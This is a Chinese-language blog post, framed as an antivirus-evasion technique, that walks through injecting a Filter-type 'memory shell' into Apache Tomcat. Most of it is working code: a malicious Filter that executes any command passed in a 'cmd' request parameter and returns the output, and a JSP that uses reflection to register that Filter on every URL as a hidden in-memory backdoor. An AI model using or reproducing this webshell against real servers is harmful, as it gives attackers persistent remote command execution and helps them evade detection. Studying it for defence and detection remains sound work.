【免杀技术】Tomcat内存马-Filter

博客 动态
0 278
优雅殿下
优雅殿下 2022-02-04 15:54:57
悬赏:0 积分 收藏

【免杀技术】Tomcat内存马-Filter

Tomcat内存马-Filter型

什么是内存马?为什么要有内存马?什么又是Filter型内存马?这些问题在此就不做赘述

Filter加载流程分析

tomcat启动后正常情况下对于Filter的处理过程:

  • 加载web.xml配置文件
  • 读取filter的信息,并将其保存在context对象里的filterDef,filterConfigs,filterMappers中
  • filterChain的构造流程:1. 匹配请求路径,找到对应的filter 2. 将匹配的filter加入filterChain中 3.执行filterChain

利用jsp文件完成动态注册恶意filter

需要解决的问题

  • 怎么获取context对象
  • 利用动态加载,如何修改filterConfigs,filterDefs,filterMaps,将恶意filter插入。

恶意Filter对象

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {        System.out.println("添加");        String cmd = servletRequest.getParameter("cmd");        InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();        while(true) {            String tmp = null;            if ((tmp = new BufferedReader(new InputStreamReader(inputStream)).readLine()) != null) {                servletResponse.getOutputStream().print(tmp);            }else{                break;            }        }        return;    }

在这里可以jsp进行注入

<%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="java.lang.reflect.Field" %><%@ page import="java.util.Map" %><%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %><%@ page import="org.apache.catalina.Context" %><%@ page contentType="text/html;charset=UTF-8" language="java" %><html><head>    <title>Title</title></head><body>    <center><h1>Dynamic Memory-Type Horse</h1></center></body></html><%    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();    StandardContext context = (StandardContext)webappClassLoaderBase.getResources().getContext();    if(context.findFilterDef("Filter_new")==null){        //2.配置过滤器并初始化FilterDef        String newFilterName = "Filter_new";        String newFilterClass = "sec.aur0ra.filter.Filter";        FilterDef filterDef = new FilterDef();        filterDef.setFilterName(newFilterName);        filterDef.setFilterClass(newFilterClass);        //3. 注册FilterDef        context.addFilterDef(filterDef);        //4. 创建并注册FilterMap对象        FilterMap filterMap = new FilterMap();        filterMap.setFilterName("Filter_new");        filterMap.addURLPattern("/*");        context.addFilterMapBefore(filterMap);        //context.addFilterMap(filterMap);        //5. 添加FilterConfig        Constructor constructor = null;        try {            //获取FilterConfigs对象            Field Configs = context.getClass().getDeclaredField("filterConfigs");            Configs.setAccessible(true);            Map filterConfigs = (Map) Configs.get(context);            constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);            constructor.setAccessible(true);            FilterConfig filterConfig = (FilterConfig) constructor.newInstance(context, filterDef);            filterConfigs.put(newFilterName, filterConfig);        } catch (Exception e){            ;        }    }    FilterMap[] filterMaps = context.findFilterMaps();    System.out.println("注册成功");%>

在这里利用线程信息获取context。获取context对象的方式还有通过request对象进行获取等

直接访问恶意jsp文件
image

恶意的filter已经被成功注入

再访问正常界面
image

访问成功,说明内存??成功注入。报错只是因为没有传参,所以报错不一定代表坏消息

传参cmd
image

可能遇到的问题

filterDef,filterConfigs,filterMappers中未添加全对应的信息

小结

可以看到,这里已经成功注册了Filter内存马。EvilFilter的对象可以传字节码进去,但还是免不了借助了jsp文件,虽然后面可以删除,但还是会有文件记录,自然也就容易被查杀。利用反序列化执行代码?后续再学习吧

posted @ 2022-02-04 15:12 Aurora-M 阅读(16) 评论(0) 编辑 收藏 举报
回帖
    优雅殿下

    优雅殿下 (王者 段位)

    2018 积分 (2)粉丝 (47)源码

    小小码农,大大世界

     

    温馨提示

    亦奇源码

    最新会员